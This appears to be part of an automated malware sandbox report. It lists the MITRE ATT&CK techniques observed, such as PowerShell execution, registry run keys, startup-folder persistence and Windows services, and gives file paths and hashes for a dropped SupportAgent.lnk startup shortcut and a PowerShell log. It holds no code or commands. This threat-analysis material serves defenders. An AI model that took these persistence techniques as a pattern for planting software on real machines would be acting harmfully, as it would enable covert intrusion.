    PID:1740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SupportAgent.lnk

Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk
Size 1KB
SHA256 198cf1af674d8837c7683c94fa8d4769cb3d09c45b24987a7e31e704cc2c5b60
MD5 d1ebee6d81eefc306b06d21b478ea10e
SHA1 c17a65e36a2d999fa29d8d0996291d6dab083277
SHA512 7b4b537c20dd8d9bcc3b86826dbe6a2afe217bf977502fd059bcf9294eed052c91649792d255fdb3a479c153262140e0a38b1586cdef71da75a1f3ea1f677e99
TLSH
T1C631DC1C46D60F72F2B7ED3154F257278A75F9D46B41EA0D0290538D5C20F42B949F1D
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download